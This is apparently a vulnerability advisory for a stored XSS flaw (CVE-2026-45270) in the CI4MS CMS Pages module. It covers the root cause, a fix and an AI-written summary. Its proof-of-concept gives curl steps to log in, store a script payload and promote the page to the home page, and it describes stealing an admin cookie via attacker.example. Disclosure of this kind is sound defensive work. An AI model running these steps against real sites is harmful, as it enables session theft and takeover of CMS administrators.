CI4MS: Stored XSS in Pages Module Content via Broken html_purify Validation Rule
Description
Summary
The Pages backend module registers the html_purify validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (Home::index() → app/Views/templates/default/pages.php) emits $pageInfo->content without esc(), yielding stored XSS that fires for every public visitor of the affected page — including administrators. Because pages may be promoted to the site home page, the payload can be served at / and reach every visitor of the site.
Details
This is a sibling-module variant of the same root cause as the Blog stored-XSS issue. The html_purify custom rule (modules/Backend/Validation/CustomRules.php:54) mutates its first argument by reference:
public function html_purify(?string &$str = null, ?string &$error = null): bool
{
...
$clean = self::sanitizeHtml($str);
$str = $clean;
self::$cleanCache[md5((string)$str)] = $clean;
return true;
}
CodeIgniter 4's Validation::processRules() (vendor/codeigniter4/framework/system/Validation/Validation.php:344) invokes the rule as $set->{$rule}($value, $error) where $value is a local copy populated from request data. Even though the rule signature accepts $str by reference, the mutation only updates the local $value inside processRules(); the original POST array (and the request body) are never modified. To get the sanitized output, controllers must call CustomRules::getClean(...) after validation — but no controller in the codebase does so.
Pages controller — modules/Pages/Controllers/Pages.php:
- Pages::create() registers the rule at line 82: ``php 'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'], ``
Then at lines 102–113 it reads the raw POST and inserts it untouched: ``php $langsData = $this->request->getPost('lang') ?? []; ... $this->commonModel->create('pages_langs', [ ... 'content' => $lData['content'], // line 111 — RAW ... ]); ``
- Pages::update() mirrors the same pattern at lines 130 and 157: ``php 'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'], // line 130 ... 'content' => $lData['content'], // line 157 — RAW ``
The row lands in pages_langs.content, which is then read by the public-facing Home::index() controller (app/Controllers/Home.php:31-76) and emitted by the template at app/Views/templates/default/pages.php:32:
<?php echo $pageInfo->content ?> // no esc(), raw HTML output
CommonLibrary::parseInTextFunctions() (app/Libraries/CommonLibrary.php:45) is called on $pageInfo->content first, but only handles {{form=...}} / {...|...} shortcode-style replacement — it does no HTML sanitization.
This is distinct from the Blog finding: - Different module/controller (Modules\Pages\Controllers\Pages vs Modules\Blog\Controllers\Blog) - Different table (pages_langs.content vs blog_langs.content) - Different view file (templates/{theme}/pages.php vs templates/{theme}/blog/post.php) - Different route (/ matched by Home::index vs /blog/) - Pages can be promoted to the site home page via Pages::setHomePage (modules/Pages/Controllers/Pages.php:206), broadening blast radius beyond a single slug to every visitor of /.
Routes are confirmed protected by backendGuard for authentication (modules/Pages/Config/PagesConfig.php:12-17) and require pages.create / pages.update Shield permissions (modules/Pages/Config/Routes.php:4-5).
PoC
Prerequisite: an account with the pages.create (or pages.update) permission. In ci4ms this is a non-admin content-author role.
Step 1 — log in to backend, capture cookies: ``bash curl -k -c cookies.txt -b cookies.txt -X POST https://target/login \ -d 'email=author@example.com' -d 'password=AuthorPass1!' ``
Step 2 — create a page with a malicious content payload: ``bash curl -k -b cookies.txt -X POST https://target/backend/pages/create \ -d 'lang[en][title]=POC' \ -d 'lang[en][seflink]=poc-page-xss' \ -d 'lang[en][content]=' \ -d 'isActive=1' ``
Expected: redirect to /backend/pages/1 with lang('Backend.created') flashdata. The DB row pages_langs.content contains the literal `` payload.
Step 3 — trigger the XSS by visiting the public URL: `` https://target/poc-page-xss ``
Home::index() selects the row, pages.php:32 emits the raw ` tag, and the payload runs in every visitor's browser context. If a logged-in administrator browses the public site or follows a link to this slug, their backend session cookie is exfiltrated to attacker.example`, enabling full account takeover.
Step 4 — broaden blast radius (optional, requires pages.update): ``bash curl -k -b cookies.txt -X POST https://target/backend/pages/setHomePage/<page_id> \ -H 'X-Requested-With: XMLHttpRequest' ``
After this, the malicious page is served at / to every visitor, including unauthenticated visitors and admins navigating to the front-end.
Impact
- Stored XSS in public-facing site: any visitor to a malicious page slug — or to
/if the page is set as home — executes the attacker's JavaScript. - Admin account takeover: an authenticated admin who loads the public page (common during normal site review) leaks their Shield session cookie / CSRF token, enabling the attacker to ride the session against the entire
/backend/*surface (full CMS administration, user management, file editor, backups, theme upload). - Privilege escalation: the attacker only needs
pages.create(a role typically delegated to non-admin content authors), but obtains code execution in the admin's browser, escaping the content-author security boundary into the admin's. This is the rationale for S:C in the CVSS vector. - Persistence and broad reach: the payload is database-backed and survives until the row is edited or deleted; the home-page promotion converts a single-slug XSS into a site-wide drive-by.
Recommended
Fix
Stop relying on the broken reference-mutation pattern. The simplest, safest fix is to call the existing sanitizeHtml / getClean helper explicitly when persisting the content. In modules/Pages/Controllers/Pages.php:
use Modules\Backend\Validation\CustomRules;
// Pages::create() — replace line 111
$this->commonModel->create('pages_langs', [
'pages_id' => $insertID,
'lang' => $langCode,
'title' => strip_tags(trim($lData['title'])),
'seflink' => strip_tags(trim($lData['seflink'])),
'content' => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
'seo' => $seoData
]);
// Pages::update() — replace line 157
$langUpdate = [
'title' => strip_tags(trim($lData['title'])),
'seflink' => strip_tags(trim($lData['seflink'])),
'content' => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
'seo' => $seoData
];
Apply the same pattern in every other module that uses html_purify (Blog, etc.). For defense-in-depth, also escape on output for any field that is not intended to be raw HTML, and consider rewriting the html_purify rule to operate on $data so the validator stores the sanitized result via getValidated() rather than relying on a reference mutation that the framework discards.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Stored XSS in CI4MS Pages module: the html_purify validation rule does not sanitize persisted content, and the public renderer outputs raw HTML without escaping, allowing arbitrary script execution for all visitors.
Vulnerability
CVE-2026-45270 is a stored cross-site scripting (XSS) vulnerability in the Pages backend module of CI4MS, a modular CodeIgniter 4 CMS. The html_purify custom validation rule (modules/Backend/Validation/CustomRules.php:54) attempts to sanitize page content by reference, but CodeIgniter 4's Validation::processRules() passes a local copy of the POST value to the rule. Consequently, the mutation inside html_purify only affects the local copy, never the original POST array. The Pages controller (modules/Pages/Controllers/Pages.php) reads the raw, un-sanitized POST value $lData['content'] at lines 102–113 (for create()) and lines 130–157 (for update()) and persists that raw value into the pages_langs table without calling CustomRules::getClean(). The public renderer (app/Views/templates/default/pages.php) emits $pageInfo->content without using esc(), resulting in stored XSS that triggers for every visitor of the affected page. This issue affects all versions prior to v0.31.9.0.[1][2][4]
Exploitation
An authenticated attacker with permission to create or edit pages (e.g., an author or administrator) can inject arbitrary JavaScript into the page content field via the backend form. The attacker submits malicious HTML/JavaScript in the lang.*.content POST parameter; the html_purify rule is applied during validation but does not sanitize the persisted value. The malicious payload is stored in the database and later served to any visitor of the page, including administrators and the public. If the page is promoted to the site home page, the payload can be served at the root URL /.[2][3]
Impact
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user viewing the compromised page. This can lead to session hijacking, credential theft, defacement, or further attacks against administrators who view the page (e.g., via admin panel previews). The stored XSS reaches all visitors with no additional user interaction beyond loading the page.[2][3]
Mitigation
The vulnerability is fixed in CI4MS release v0.31.9.0 (published 2026-05-08). The fix enforces the use of CustomRules::getClean() output persistence in Pages.php for both creation and editing endpoints. Users should upgrade to version 0.31.9.0 or later. No workaround is documented; the only safe mitigation is applying the patch. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.[4]
- GitHub - ci4-cms-erp/ci4ms: Modular CodeIgniter 4 CMS featuring RBAC admin, theming, blog/page management, elFinder media integration, and CLI tooling for rapid customization.
- CVE-2026-45270 - GitHub Advisory Database
- Stored XSS in Pages Module Content via Broken html_purify Validation Rule
- Release v0.31.9.0 — Security Hardening & Patch Release · ci4-cms-erp/ci4ms
AI Insight generated on May 21, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
1- Range: <= 0.31.8.0
Patches
0No patches discovered yet.
Vulnerability mechanics
AI mechanics synthesis has not run for this CVE yet.
References
3News mentions
0No linked articles in our index yet.